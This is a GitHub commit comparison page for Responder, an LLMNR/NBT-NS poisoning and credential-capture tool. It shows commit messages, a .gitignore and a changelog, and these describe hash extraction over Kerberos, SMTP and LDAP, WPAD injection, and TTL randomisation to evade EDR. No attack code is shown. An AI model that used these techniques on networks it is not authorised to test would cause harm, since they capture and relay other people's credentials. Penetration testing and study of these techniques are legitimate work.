Compare commits

...

180 Commits

Author SHA1 Message Date
lgandx
b2b1974b2a added support for SAMR, SRVSVC, WKSSVC, WINREG, SVCCTL, ATSVC, DNSSERVER 2025-12-31 15:51:54 -03:00
lgandx
1833341a33 added suppport for imap ntlm 2025-12-31 15:49:49 -03:00
lgandx
5a114080b4 major fixes, kerberos handling, etc 2025-12-31 15:47:52 -03:00
lgandx
0ffdeb585f DNS server now supports SOA, MX, SRV, ANY, etc 2025-12-31 15:00:01 -03:00
lgandx
73507a671f Client: TGS-REQ → Responder: KRB-ERROR → AS-REQ → KRB-ERROR 25 (pre-auth required) -> AS-REQ with PA-ENC-TIMESTAMP (hash!) 2025-12-31 12:28:59 -03:00
lgandx
9c40a5d265 Added NTLM authentication for IMAP and AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM authentication on SMTP 2025-12-31 10:14:50 -03:00
lgandx
5960d04a51 fixed hashcat hash construction 2025-12-31 09:26:17 -03:00
lgandx
44f6dd2865 msgData is a plain SEQUENCE (0x30) per RFC 3412 2025-12-31 08:42:53 -03:00
lgandx
9d4b64354c added support for all modern SNMPv3 auth algorithms 2025-12-31 02:03:26 -03:00
lgandx
6a5a20dc8b Major fixes, now supporting AES and RC4 hash extraction 2025-12-31 01:41:07 -03:00
lgandx
3dd2ed8370 Added Challenge-response + full SASL mechanisms support 2025-12-30 23:22:00 -03:00
lgandx
74cea27ff9 Added LDAP support for SASL mechanisms: GSSAPI, GSS-SPNEGO, NTLM, DIGEST-MD5 2025-12-30 21:46:03 -03:00
lgandx
9a5e33ae03 added error handling 2025-12-05 14:56:00 -03:00
lgandx
6d66d900f1 added error handling 2025-12-05 14:49:43 -03:00
lgandx
aa4b082071 Merge branch 'master' of https://github.com/lgandx/Responder 2025-12-01 21:48:18 -03:00
lgandx
de5cdf4891 removed old addresses and added new ones. 2025-12-01 21:47:30 -03:00
lgandx
b4427406ee Merge pull request #329 from FLX-0x00/master
Fix pyproject.toml license metadata incompatibility with PDM backend
2025-11-29 20:00:45 -03:00
Paul Werther
1457035955 remove the licence classifier 2025-11-05 12:33:22 +01:00
lgandx
7c5a31d803 Merge pull request #325 from TheToddLuci0/add_pyproject_toml
Add pyprojcet.toml for pip-install ability
2025-10-30 20:48:59 -03:00
TheToddLuci0
15c173a128 Add pyprojcet.toml for pip-install ability 2025-10-20 14:02:44 -05:00
lgandx
fe5f63269a minor fix on recent merge and version update 2025-08-22 19:15:52 -03:00
lgandx
da74083b46 Merge pull request #315 from vflame6/master
Disabled printing of ignored LLMNR, NBT-NS and MDNS messages in Analyze Mode with Quiet Mode
2025-08-22 19:07:29 -03:00
lgandx
004dc1f4f3 Merge pull request #297 from idarlund/patch-1
quickstart for macos
2025-08-22 18:42:52 -03:00
lgandx
6fad9f0c3a Merge branch 'master' of https://github.com/lgandx/Responder 2025-08-22 18:32:51 -03:00
lgandx
007367e0e0 minor fix and layout changes 2025-08-22 18:30:49 -03:00
lgandx
08864c7d76 Merge pull request #318 from Helithumper/kerberos-typo
Typo Fix: Kebreros->Kerberos
2025-08-22 18:09:47 -03:00
lgandx
32da74c12d Merge branch 'master' into kerberos-typo 2025-08-22 18:09:22 -03:00
lgandx
7a8d06b8d3 Merge pull request #319 from hdm/master
Correct a very minor typo
2025-08-22 18:05:39 -03:00
HD Moore
a9c41c97fc fix minor typo 2025-07-28 22:02:19 -05:00
HD Moore
eeceecae8f fix minor typo 2025-07-28 22:01:58 -05:00
Peyton Duncan
f1d8d1a6c4 typo had a typo 2025-07-19 13:58:14 -07:00
Peyton Duncan
a5a2231ec3 typo fix 2025-07-19 13:56:10 -07:00
vflame6
7e6d49bf42 Disabled printing of ignored LLMNR, NBT-NS and MDNS messages in Analyze + Quiet modes 2025-07-09 13:33:07 +05:00
lgandx
398a1fce31 Fixed minor parsing issue in FindIP 2025-05-22 18:45:45 -03:00
lgandx
fa2b8dd5fd minor fixes 2025-05-22 11:42:50 -03:00
lgandx
58eb8731a5 Added SNMP srv enabled by default 2025-05-22 05:34:30 -03:00
lgandx
658480e0a5 added recent changelog 2025-05-22 05:27:55 -03:00
lgandx
a76ee47867 added check for aioquic & updated version to reflect recent changes 2025-05-22 05:23:00 -03:00
lgandx
e346c01695 Merge pull request #310 from ctjf/master
added quic support based on xpn's work
2025-05-22 05:17:27 -03:00
lgandx
41ed7c4f4a Merge pull request #308 from BlWasp/error_code_returned
Add control on the status code returned by the SMB server
2025-05-22 04:32:13 -03:00
lgandx
ea820ab076 Merge pull request #311 from stfnw/master
DHCP poisoner: refactor FindIP
2025-05-22 04:30:07 -03:00
Stefan Walter
a0d1f03617 DHCP poisoner: refactor FindIP
- do not crash on IP addresses where one octet contains 0x45 0x4f or 0x46

- operate on bytes (avoid encoding/decoding round-trip)
  and use simple string search instead of regular expressions

closes #181
closes #304
2025-04-12 12:11:00 +02:00
Joshua Fickett
871cdffa97 added quic support based on xpn's work 2025-04-03 15:16:00 -04:00
BlackWasp
e781559be0 Indentation typos 2025-03-16 23:40:51 +01:00
BlackWasp
6bf6887c49 Add status code control 2025-03-16 23:32:19 +01:00
lgandx
545137275f Merge pull request #305 from L1-0/patch-1
Update RPC.py
2025-03-13 11:28:24 -03:00
Lino
6743423251 Update RPC.py
Fix Output of RPC.py
2025-02-24 11:49:06 +01:00
lgandx
d740fb526f Merge pull request #301 from q-roland/kerberos_relaying_llmnr
Adding answer name spoofing capabilities to LLMNR poisoner for Kerberos relaying purposes
2025-01-27 07:22:07 -03:00
User
d3dd37a324 Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose 2025-01-23 14:35:41 -08:00
Idar Lund
38023edfaa Update README.md 2024-11-07 09:21:19 +00:00
Idar Lund
fbcb000a93 quickstart for macos
added quickstart for macos and changed format on the considerations for macos
2024-11-07 09:18:55 +00:00
lgandx
e918fe01c6 added option to disable a TLD due to windows 11 infinite loop with _dosvc 2024-09-24 11:06:50 -03:00
lgandx
538e6c0d0d Merge pull request #289 from brightio/patch-3
StartupMessage doesn't take into account the actual LLMNR, NBT-NS and MDNS
2024-09-11 17:04:14 -03:00
brightio
990df258a6 StartupMessage doesn't take into account the actual LLMNR, NBT-NS and MDNS status 2024-09-10 16:49:31 +02:00
lgandx
4947ae6e52 Added default mode for TTL option 2024-05-14 11:02:35 -03:00
lgandx
116a056e7d Listed all contributors over time. Thanks for your contribution to this project! 2024-05-08 10:14:11 -03:00
lgandx
d715f2de21 Updated Changelog 2024-05-08 09:41:44 -03:00
lgandx
64cf4d9873 minor fix 2024-05-06 09:56:02 -03:00
lgandx
ccbcd1736f minox typo fix 2024-05-06 09:24:06 -03:00
lgandx
413bc8be31 Fixed issue with smb signing detection 2024-05-06 09:16:36 -03:00
lgandx
bf25abfec8 Merge pull request #275 from nodauf/master
Random TTL value added to avoid some EDR detections
2024-05-06 07:33:27 -03:00
lgandx
06b33edc27 Merge pull request #276 from f3rn0s/master
Add options for poisoners
2024-05-06 07:10:32 -03:00
f3rn0s
807bd57a96 Add options for poisoners 2024-04-30 15:52:04 +10:00
nodauf
f50f0be59c Add randomness in TTL value to avoid some EDR detections 2024-04-02 16:42:09 +02:00
lgandx
1a2f2fdb22 added support for either resolv.conf or resolvectl 2024-01-06 15:01:43 -03:00
lgandx
e51f24e36c fixed minor bug 2024-01-06 13:48:41 -03:00
lgandx
fa297c8a16 Fixed bug when IPv6 is disabled via GRUB. 2024-01-06 12:44:38 -03:00
lgandx
44bfd1d221 DNS dump updated + removed var dump info on Config-Responder.log 2024-01-06 09:19:10 -03:00
lgandx
66e5b12c56 Updated changelog 2024-01-06 07:15:50 -03:00
lgandx
4b560f6e17 removed debug string 2024-01-04 20:44:13 -03:00
lgandx
e564e5159b removed bowser listener 2024-01-04 20:37:45 -03:00
lgandx
4b14455bdc minor fix on ldap 2024-01-04 19:50:16 -03:00
lgandx
ee5ab9a5fd default -> py3 2024-01-04 19:04:15 -03:00
lgandx
39f8cbb931 various changes. 2024-01-04 18:39:01 -03:00
lgandx
ec3349cb1e minor bugs 2024-01-04 18:22:08 -03:00
lgandx
2b9d89f044 Merge pull request #264 from exploide/ldaps
Added LDAPS listener
2024-01-04 17:36:04 -03:00
lgandx
b550dbe4b0 Merge pull request #261 from exploide/fix-escape-sequence-warning
Fixed 'SyntaxWarning: invalid escape sequence' for Python 3.12+
2024-01-04 17:32:39 -03:00
lgandx
6636317799 updated donation link 2024-01-04 17:31:16 -03:00
lgandx
add6224805 Merge pull request #265 from exploide/mssql-browser-typeerror
Fixed a TypeError in MSSQLBrowser
2024-01-04 17:19:58 -03:00
lgandx
700b7d6222 removed patreon donation link. 2024-01-04 17:15:24 -03:00
lgandx
66ee7f8f08 Fixed issue in http srv, more hashes & signature reduction. 2024-01-04 17:11:44 -03:00
lgandx
08e44d72ac removed useless string 2024-01-04 15:38:41 -03:00
exploide
20cdd9c7c2 fixed a TypeError in MSSQLBrowser
fixes #251
2024-01-04 15:26:26 +01:00
exploide
6d61f0439c added LDAPS listener
fixes #263
2024-01-04 14:50:44 +01:00
exploide
e9bd8a43ef fixed 'SyntaxWarning: invalid escape sequence' for Python 3.12+ 2023-12-14 18:20:04 +01:00
lgandx
4ea3d7b765 removed debug 2023-12-07 09:43:10 -03:00
lgandx
f670fbaa7f added:error handling on exceptions. 2023-12-07 09:36:54 -03:00
lgandx
31393c7072 fixed minor bug on py 3.10 2023-12-07 09:33:38 -03:00
lgandx
2f1b81b024 minor fix 2023-12-06 18:44:35 -03:00
lgandx
aed939c1ae Merge pull request #249 from ShutdownRepo/netifaces
Upgrading `netifaces` requirement
2023-11-17 10:12:31 -03:00
lgandx
6f0217feed Merge pull request #250 from ShutdownRepo/collections.abc
Upgrading `collections` import
2023-11-17 10:11:20 -03:00
lgandx
6b1f53a6f4 Merge pull request #254 from syntricks/patch-1
Fixing soft failure which results in missed SMTP credential interception
2023-11-17 10:09:58 -03:00
lgandx
351b1aad9e Merge pull request #256 from exploide/basic-auth-fix
Fixed parsing of HTTP basic auth containing colons
2023-11-17 10:09:08 -03:00
lgandx
bf1cf1c335 Merge pull request #257 from brightio/patch-1
Handle FTP, MQTT and WinRM exceptions properly
2023-11-17 10:08:04 -03:00
brightio
6a76437464 Handle WinRM exceptions properly 2023-11-13 20:49:01 +01:00
brightio
f6d1e6027a Handle MQTT exceptions properly 2023-11-13 20:46:46 +01:00
brightio
cb042d16a2 Handle FTP exceptions properly 2023-11-13 20:39:29 +01:00
exploide
90ff1d37a7 gitignore: ignore pyc and certificate files 2023-11-09 18:18:43 +01:00
exploide
dc33d1f858 fixed HTTP basic auth parsing when password contains colons
fixes #255
2023-11-09 18:14:36 +01:00
Syntricks
34603aed0a Fixing soft failure which results in missed SMTP credential interception
Without this responder silently fails. During debugging I observed [[[can only concatenate str (not "bytes") to str]]] error. Enabling decoding of bytes made the error disappear and credentials properly intercepted (on-screen stdout, logs and to DB). 
Thank you for a very useful tool :)
2023-10-12 00:51:19 +03:00
Shutdown
aa8d81861b Fixing collections import issue for /tools/MultiRelay/odict.py 2023-09-22 00:43:58 +02:00
Shutdown
2c4cadbf7d Fixing import issue like in /tools/odict.py 2023-09-22 00:43:25 +02:00
Shutdown
3a23ccdef8 Upgrading collections import 2023-09-21 20:18:13 +02:00
Shutdown
2b37d5763a Upgrading netifaces requirement 2023-09-21 20:14:59 +02:00
lgandx
de20dcf408 Merge pull request #243 from nobbd/nobbd-patch-1
Fix bug with single byte comparisons in python3
2023-09-11 07:12:28 -03:00
nobbd
6063c2f77a Update SMB.py 2023-08-15 16:03:30 +02:00
nobbd
b61a640747 Update SMB.py 2023-08-15 15:50:53 +02:00
nobbd
4ec2631ab0 Update Finger.py to fix bug with single byte comparisons in python3 2023-08-15 15:36:10 +02:00
nobbd
9713fe0e70 Update RunFinger.py to fix bug with single byte comparisons in python3 2023-08-15 15:34:08 +02:00
nobbd
63954a539c Update RelayMultiCore.py to fix bug with single byte comparisons in python3 2023-08-15 15:18:55 +02:00
nobbd
728b100bfd Update MSSQL.py to fix bug with single byte comparisons in python3 2023-08-15 15:15:23 +02:00
nobbd
a205b58091 Update SMB.py to fix single byte comparisons in python3 2023-08-15 15:08:42 +02:00
lgandx
83c817d9c2 Merge pull request #222 from lowSoA/enhancement-snmpv3-support
Implement SNMPv3 support
2023-08-13 11:21:10 -03:00
lgandx
56e5fa0d29 Merge pull request #236 from NullByteZero/master
Implemented MQTT server
2023-08-13 11:17:58 -03:00
lgandx
332697fbd9 Merge pull request #238 from deltronzero/master
fix typo of ServerTlype
2023-08-13 11:13:30 -03:00
lgandx
d8a30a5ec7 Merge pull request #224 from kevintellier/master
Added full path to gen-self-sign-cert.sh
2023-08-13 10:31:48 -03:00
deltronzero
0c80b76f57 fix typo of ServerTlype 2023-06-12 07:50:01 -07:00
Ziga P
a21b36605c Implemented MQTT support 2023-06-05 20:19:44 +02:00
lgandx
8e12d2bcfe Removed Patreon link 2023-05-22 20:32:45 -03:00
lgandx
ff21c5452c Merge pull request #232 from also-here/master
Allowing IPv6 addresses in RespondTo and DontRespondTo
2023-05-23 01:15:15 +02:00
also-here
5c83b7c45b Update LLMNR.py
Added a IPv6 check for the DNS address. IsOnTheSameSubnet does not currently support IPv6 which is fine as ICMP-Redirecy.py currently does not yet support IPv6 either.
2023-03-14 21:21:19 -05:00
lgandx
07c963f5ea Merge pull request #233 from SilverSteven/fulfill-license-obligation
append changelog to fulfill the license obligation
2023-03-14 08:19:28 -03:00
steven
feecf8ed0b append changelog to fulfill the license obligation 2023-03-09 10:31:01 +08:00
also-here
e36fafb783 Update Responder.conf
added Don't Respond To instructions
2023-03-05 19:13:25 -06:00
also-here
5ec5412fb9 Update settings.py
removed redundant upper()
2023-03-05 18:57:08 -06:00
also-here
6a11fe8b6a Updated with some IPv6
Added IPv6 options to RespondTo and DontRespondTo
2023-03-05 18:40:32 -06:00
also-here
3f5c836ba0 Update settings.py
compresses expanded IPv6 addresses
2023-03-05 18:33:48 -06:00
also-here
8953f87bbd Update settings.py to expand IPv6 addresses.
Still handles IPv4 addresses as well.
2023-03-03 16:20:22 -06:00
kevintellier
69f431e58f Added full path to gen-self-sign-cert.sh 2022-12-21 18:04:07 +01:00
soa
edb85332ab SNMPv3 support 2022-11-18 18:21:23 +01:00
lgandx
9c303d7bd5 Merge pull request #219 from SAERXCIT/master
Extend --disable-ess to HTTP
2022-11-08 09:38:18 -03:00
lgandx
b61d211b10 Merge pull request #220 from lgandx/revert-216-smbv1ScanWorkAgain
Revert "run smbv1 scan in runfinger"
2022-11-08 09:36:02 -03:00
lgandx
f39079da77 Revert "run smbv1 scan in runfinger" 2022-11-08 09:22:41 -03:00
SAERXCIT
660b6ca309 Extend --disable-ess to HTTP 2022-11-08 12:23:01 +01:00
lgandx
8d25d04f13 Merge pull request #218 from ss23/snmp
Implement a basic SNMP listener
2022-11-07 11:18:02 -03:00
Stephen Shkardoon
9d4f919b39 Implement a basic SNMP listener
All community strings are logged as they are sent to the server.
This initial implementation only supports SNMPv1 and SNMPv2c.

`pyasn1` is required for this server to function.
2022-11-06 01:27:28 +13:00
lgandx
59daf46b93 Merge pull request #216 from requin-citron/smbv1ScanWorkAgain
run smbv1 scan in runfinger
2022-11-03 15:44:05 -03:00
requin
cf0c4ee659 add flag (-s) to enable smbv1scan 2022-11-02 19:16:10 +01:00
requin
709df2c6e1 add hostname on smbv2 scan result 2022-10-31 17:31:16 +01:00
Sans23
3aaaaf1c7f Merge branch 'lgandx:master' into smbv1ScanWorkAgain 2022-10-31 15:16:24 +01:00
lgandx
c9b5dd040e Removed machine accounts dump, since they are not crackable 2022-10-19 08:44:05 -03:00
klemou
4321919c9f run smbv1 scan in runfinger 2022-10-01 09:26:32 +02:00
lgandx
b8818ed0c4 Added dump by legacy protocols 2022-09-16 09:36:51 -03:00
lgandx
07dbcf5d6d Modified wpad script 2022-08-06 02:49:28 -03:00
lgandx
c51251db5f Fixed potential disruption on Proxy-Auth 2022-08-06 00:26:11 -03:00
lgandx
fe58475c63 Merge pull request #210 from 0xjbb/master
Added Quiet Mode
2022-08-05 22:06:19 -03:00
lgandx
00d9d27089 added requirements.txt 2022-08-05 21:49:48 -03:00
lgandx
56c3832a3c Create FUNDING.yml 2022-08-05 21:21:53 -03:00
lgandx
0bc226b4be Added: append .local TLD to DontRespondToNames + MDNS bug fix 2022-08-05 20:27:56 -03:00
lgandx
fad2be0a8e Merge pull request #199 from gblomqvist/master
Fix double logging of first hash/cleartext when CaptureMultipleHashFromSameHost = On
2022-08-05 18:58:56 -03:00
lgandx
2765ef4e66 fixed the RespondTo/DontRespondTo issue 2022-08-05 18:51:57 -03:00
jb
2cd66a9b92 Added Quiet mode 2022-07-29 21:15:40 +01:00
lgandx
15d03bc902 Minor bugs and display/logging fixes + RDP srv SSLwrapping fix 2022-07-26 14:56:18 -03:00
lgandx
9b1c99ccd2 Fixed: Warnings on python 3.10 2022-07-12 20:15:36 -03:00
lgandx
983a1c6576 removed -r reference from help msg. 2022-05-17 21:48:02 -03:00
lgandx
03fa9a7187 removed -r references 2022-05-17 21:38:01 -03:00
lgandx
a6838fdc42 Merge pull request #202 from noraj/patch-2
odict: fix import issue
2022-05-17 21:16:41 -03:00
lgandx
8c201cf33e Merge pull request #203 from cweedon/patch-1
Fix missing paren error
2022-05-17 21:15:41 -03:00
cweedon
0c7a3ffabe Fix missing paren error
added parentheses to the print call to fix the error
2022-05-17 12:20:28 -05:00
Alexandre ZANNI
d1cb26bda7 keep compatibility with previous versions 2022-05-13 18:06:35 +02:00
Alexandre ZANNI
0ced7d52c0 odict: fix import issue 2022-05-08 20:54:23 +02:00
Gustaf Blomqvist
e7eb3bcce8 Fix double logging of first hash or cleartext 2022-04-28 15:20:13 +02:00
lgandx
fd9bcf7de1 Merge pull request #191 from Mipsters/master
MutableMapping was moved to collections.abc
2022-02-12 17:17:23 -03:00
Tom Aviv
b9f3ae35ee MutableMapping was moved to collections.abc 2022-02-11 23:24:00 +02:00
lgandx
39a2c7c0f2 Merge pull request #188 from Ne4istb/patch-1
Fixed options formating in README
2022-02-10 08:33:50 -03:00
lgandx
bd823f65a2 Merge pull request #190 from kitchung/kitchung-patch-1
DE-RPC server status not correct
2022-02-10 08:33:01 -03:00
kitchung
ee88da1af8 DE-RPC server status not correct #189
Line 512 should read:
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled))

Instead of:
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled))
2022-02-06 16:35:01 -08:00
Andrii Nechytailov
f85ad77d59 Fixed options formating in README 2022-02-03 18:32:42 +02:00
lgandx
b147229938 Merge pull request #185 from ajkerley628/master
Updated the README and Responder help flags
2022-01-12 06:17:09 -03:00
root
afb54fa274 Updated the README and Responder help flags 2022-01-11 15:37:14 -06:00
lgandx
5cf69228cf added support for OPT EDNS 2021-12-21 22:39:02 -03:00
lgandx
0b56d6aaeb removed fingerprint.py 2021-12-17 10:10:08 -03:00
lgandx
5d4510cc1d Added IPv6 support 2021-12-17 10:05:00 -03:00
lgandx
bc812da2ef Updated the Readme file with the new options and removed some old stuff 2021-12-17 00:32:12 -03:00
lgandx
3e8c9fdb0e added: dhcp inform 2021-12-13 20:30:14 -03:00
lgandx
76f6c88df3 Added DHCP DNS vs DHCP WPAD 2021-12-12 17:55:58 -03:00
lgandx
9dc779869b Added DHCP DNS vs WPAD srv injection 2021-12-12 17:02:08 -03:00
lgandx
505ec34324 Added DHCP DNS vs WPAD srv injection 2021-12-12 17:01:03 -03:00
lgandx
a0bf7a9baa minor display fix. 2021-12-12 12:26:02 -03:00
lgandx
bb17595e3f Added date and time for each Responder session config log. 2021-12-10 21:06:03 -03:00
46 changed files with 6844 additions and 1052 deletions

2
.github/FUNDING.yml vendored Normal file
View File

@@ -0,0 +1,2 @@
github: lgandx
custom: 'https://paypal.me/PythonResponder'

10
.gitignore vendored
View File

@@ -1,5 +1,15 @@
# Python artifacts
*.pyc
.venv/
# Responder logs
*.db
*.txt
*.log
# Generated certificates and keys
certs/*.crt
certs/*.key
# IDE
.idea/

713
CHANGELOG.md Normal file
View File

@@ -0,0 +1,713 @@
n.n.n / 2025-05-22
==================
* added check for aioquic & updated version to reflect recent changes
* Merge pull request #310 from ctjf/master
* Merge pull request #308 from BlWasp/error_code_returned
* Merge pull request #311 from stfnw/master
* DHCP poisoner: refactor FindIP
* added quic support based on xpn's work
* Indentation typos
* Add status code control
* Merge pull request #305 from L1-0/patch-1
* Update RPC.py
* Merge pull request #301 from q-roland/kerberos_relaying_llmnr
* Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose
n.n.n / 2025-05-22
==================
* added check for aioquic & updated version to reflect recent changes
* Merge pull request #310 from ctjf/master
* Merge pull request #308 from BlWasp/error_code_returned
* Merge pull request #311 from stfnw/master
* DHCP poisoner: refactor FindIP
* added quic support based on xpn's work
* Indentation typos
* Add status code control
* Merge pull request #305 from L1-0/patch-1
* Update RPC.py
* Merge pull request #301 from q-roland/kerberos_relaying_llmnr
* Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose
# Changelog
All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/)
and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html).
<!-- insertion marker -->
## Unreleased
<small>[Compare with latest](https://github.com/lgandx/Responder/compare/v3.1.4.0...HEAD)</small>
### Added
- Add options for poisoners ([807bd57](https://github.com/lgandx/Responder/commit/807bd57a96337ab77f2fff50729a6eb229e5dc37) by f3rn0s).
- Add randomness in TTL value to avoid some EDR detections ([f50f0be](https://github.com/lgandx/Responder/commit/f50f0be59c0de6fd0ff8eef62ba31db96815c878) by nodauf).
- added support for either resolv.conf or resolvectl ([1a2f2fd](https://github.com/lgandx/Responder/commit/1a2f2fdb22a2bf8b04e0ac99219831457b7ba43a) by lgandx).
### Fixed
- Fixed issue with smb signing detection ([413bc8b](https://github.com/lgandx/Responder/commit/413bc8be3169d215f7d5f251a78c8d8404e52f61) by lgandx).
- fixed minor bug ([e51f24e](https://github.com/lgandx/Responder/commit/e51f24e36c1f84bc995a690d385c506c35cc6175) by lgandx).
- Fixed bug when IPv6 is disabled via GRUB. ([fa297c8](https://github.com/lgandx/Responder/commit/fa297c8a16f605bdb731542c67280a4d8bc023c4) by lgandx).
### Removed
- removed debug string ([4b560f6](https://github.com/lgandx/Responder/commit/4b560f6e17493dcfc6bf653d0ebe0547a88735ac) by lgandx).
- removed bowser listener ([e564e51](https://github.com/lgandx/Responder/commit/e564e5159b9a1bfe3c5f1101b3ab11672e0fd46b) by lgandx).
<!-- insertion marker -->
## [v3.1.4.0](https://github.com/lgandx/Responder/releases/tag/v3.1.4.0) - 2024-01-04
<small>[Compare with v3.1.3.0](https://github.com/lgandx/Responder/compare/v3.1.3.0...v3.1.4.0)</small>
### Added
- added LDAPS listener ([6d61f04](https://github.com/lgandx/Responder/commit/6d61f0439c1779767c9ea9840ac433ed98e672cd) by exploide).
- added:error handling on exceptions. ([f670fba](https://github.com/lgandx/Responder/commit/f670fbaa7fcd3b072aef7cf29f43c1d76d6f13bf) by lgandx).
- Added full path to gen-self-sign-cert.sh ([69f431e](https://github.com/lgandx/Responder/commit/69f431e58f07c231e75a73b0782855e9277573ac) by kevintellier).
- add flag (-s) to enable smbv1scan ([cf0c4ee](https://github.com/lgandx/Responder/commit/cf0c4ee659779c027374155716f09b13cb41abb5) by requin).
- add hostname on smbv2 scan result ([709df2c](https://github.com/lgandx/Responder/commit/709df2c6e18ec2fa6647fdaaa4d9f9e2cb7920f8) by requin).
- Added dump by legacy protocols ([b8818ed](https://github.com/lgandx/Responder/commit/b8818ed0c47d9d615c4ba1dcff99e8d2d98296d5) by lgandx).
- added requirements.txt ([00d9d27](https://github.com/lgandx/Responder/commit/00d9d27089d8f02658b08f596d28d1722c276d57) by lgandx).
- Added: append .local TLD to DontRespondToNames + MDNS bug fix ([0bc226b](https://github.com/lgandx/Responder/commit/0bc226b4beaa84eb3ac26f5d563959ccf567262b) by lgandx).
- Added Quiet mode ([2cd66a9](https://github.com/lgandx/Responder/commit/2cd66a9b92aa6ca2b7fba0fea03b0a285c186683) by jb).
### Fixed
- Fixed issue in http srv, more hashes & signature reduction. ([66ee7f8](https://github.com/lgandx/Responder/commit/66ee7f8f08f57926f5b3694ffb9e87619eee576f) by lgandx).
- fixed a TypeError in MSSQLBrowser ([20cdd9c](https://github.com/lgandx/Responder/commit/20cdd9c7c23e620e3d530f76003b94407882e9cd) by exploide).
- fixed 'SyntaxWarning: invalid escape sequence' for Python 3.12+ ([e9bd8a4](https://github.com/lgandx/Responder/commit/e9bd8a43ef353a03ba9195236a3aa5faf3788faa) by exploide).
- fixed minor bug on py 3.10 ([31393c7](https://github.com/lgandx/Responder/commit/31393c70726206fc1056f76ef6b81a981d7954c5) by lgandx).
- fixed HTTP basic auth parsing when password contains colons ([dc33d1f](https://github.com/lgandx/Responder/commit/dc33d1f858e9bbc58ae8edf030dbfee208d748f1) by exploide).
- Fixing soft failure which results in missed SMTP credential interception ([34603ae](https://github.com/lgandx/Responder/commit/34603aed0aadfe3c3625ea729cbc9dc0f06e7e73) by Syntricks).
- Fixing collections import issue for /tools/MultiRelay/odict.py ([aa8d818](https://github.com/lgandx/Responder/commit/aa8d81861bcdfc3dbf253b617ec044fd4807e9d4) by Shutdown).
- Fixing import issue like in /tools/odict.py ([2c4cadb](https://github.com/lgandx/Responder/commit/2c4cadbf7dec6e26ec2494a0cfde38655f5bebaf) by Shutdown).
- fix typo of ServerTlype ([0c80b76](https://github.com/lgandx/Responder/commit/0c80b76f5758dfae86bf4924a49b29c31e2e77f8) by deltronzero).
- Fixed potential disruption on Proxy-Auth ([c51251d](https://github.com/lgandx/Responder/commit/c51251db5ff311743238b1675d52edb7c6849f00) by lgandx).
- fixed the RespondTo/DontRespondTo issue ([2765ef4](https://github.com/lgandx/Responder/commit/2765ef4e668bc3493924aae5032e3ec63078ac42) by lgandx).
### Removed
- removed patreon donation link. ([700b7d6](https://github.com/lgandx/Responder/commit/700b7d6222afe3c1d6fb17a0a522e1166e6ad025) by lgandx).
- removed useless string ([08e44d7](https://github.com/lgandx/Responder/commit/08e44d72acd563910c153749b3c204ce0304bdd1) by lgandx).
- removed debug ([4ea3d7b](https://github.com/lgandx/Responder/commit/4ea3d7b76554dee5160aaf76a0235074590284f8) by lgandx).
- Removed Patreon link ([8e12d2b](https://github.com/lgandx/Responder/commit/8e12d2bcfe11cc23e35ea678b9e4979856183d0e) by lgandx).
- Removed machine accounts dump, since they are not crackable ([c9b5dd0](https://github.com/lgandx/Responder/commit/c9b5dd040e27de95638b33da7a35e5187efb4aac) by lgandx).
## [v3.1.3.0](https://github.com/lgandx/Responder/releases/tag/v3.1.3.0) - 2022-07-26
<small>[Compare with v3.1.2.0](https://github.com/lgandx/Responder/compare/v3.1.2.0...v3.1.3.0)</small>
### Fixed
- Fixed: Warnings on python 3.10 ([9b1c99c](https://github.com/lgandx/Responder/commit/9b1c99ccd29890496b0194c061266997e28be4c0) by lgandx).
- Fix missing paren error ([0c7a3ff](https://github.com/lgandx/Responder/commit/0c7a3ffabeee77cb9f3d960168a357e9583b2f9f) by cweedon).
- Fix double logging of first hash or cleartext ([e7eb3bc](https://github.com/lgandx/Responder/commit/e7eb3bcce85c5d437082214c0e8044919cccee56) by Gustaf Blomqvist).
### Removed
- removed -r reference from help msg. ([983a1c6](https://github.com/lgandx/Responder/commit/983a1c6576cb7dfe6cabea93e56dc4f2c557621b) by lgandx).
- removed -r references ([03fa9a7](https://github.com/lgandx/Responder/commit/03fa9a7187c80586629c58a297d0d78f2f8da559) by lgandx).
## [v3.1.2.0](https://github.com/lgandx/Responder/releases/tag/v3.1.2.0) - 2022-02-12
<small>[Compare with v3.1.1.0](https://github.com/lgandx/Responder/compare/v3.1.1.0...v3.1.2.0)</small>
### Added
- added support for OPT EDNS ([5cf6922](https://github.com/lgandx/Responder/commit/5cf69228cf5ce4c0433904ee1d05955e8fd6f618) by lgandx).
### Fixed
- Fixed options formating in README ([f85ad77](https://github.com/lgandx/Responder/commit/f85ad77d595f5d79b86ddce843bc884f1ff4ac9e) by Andrii Nechytailov).
## [v3.1.1.0](https://github.com/lgandx/Responder/releases/tag/v3.1.1.0) - 2021-12-17
<small>[Compare with v3.0.9.0](https://github.com/lgandx/Responder/compare/v3.0.9.0...v3.1.1.0)</small>
### Added
- Added IPv6 support ([5d4510c](https://github.com/lgandx/Responder/commit/5d4510cc1d0479b13ece9d58ea60d187daf8cdab) by lgandx).
- added: dhcp inform ([3e8c9fd](https://github.com/lgandx/Responder/commit/3e8c9fdb0eceb3eb1f7c6dbc81502b340a5ca152) by lgandx).
- Added DHCP DNS vs DHCP WPAD ([76f6c88](https://github.com/lgandx/Responder/commit/76f6c88df31bbd59dc6dceba1b59251012e45f81) by lgandx).
- Added DHCP DNS vs WPAD srv injection ([9dc7798](https://github.com/lgandx/Responder/commit/9dc779869b5a47fdf26cf79a727ea4a853f0d129) by lgandx).
- Added date and time for each Responder session config log. ([bb17595](https://github.com/lgandx/Responder/commit/bb17595e3fc9fafa58c8979bebc395ed872ef598) by lgandx).
### Removed
- removed fingerprint.py ([0b56d6a](https://github.com/lgandx/Responder/commit/0b56d6aaeb00406b364cf152b258365393d64ccc) by lgandx).
## [v3.0.9.0](https://github.com/lgandx/Responder/releases/tag/v3.0.9.0) - 2021-12-10
<small>[Compare with v3.0.8.0](https://github.com/lgandx/Responder/compare/v3.0.8.0...v3.0.9.0)</small>
### Added
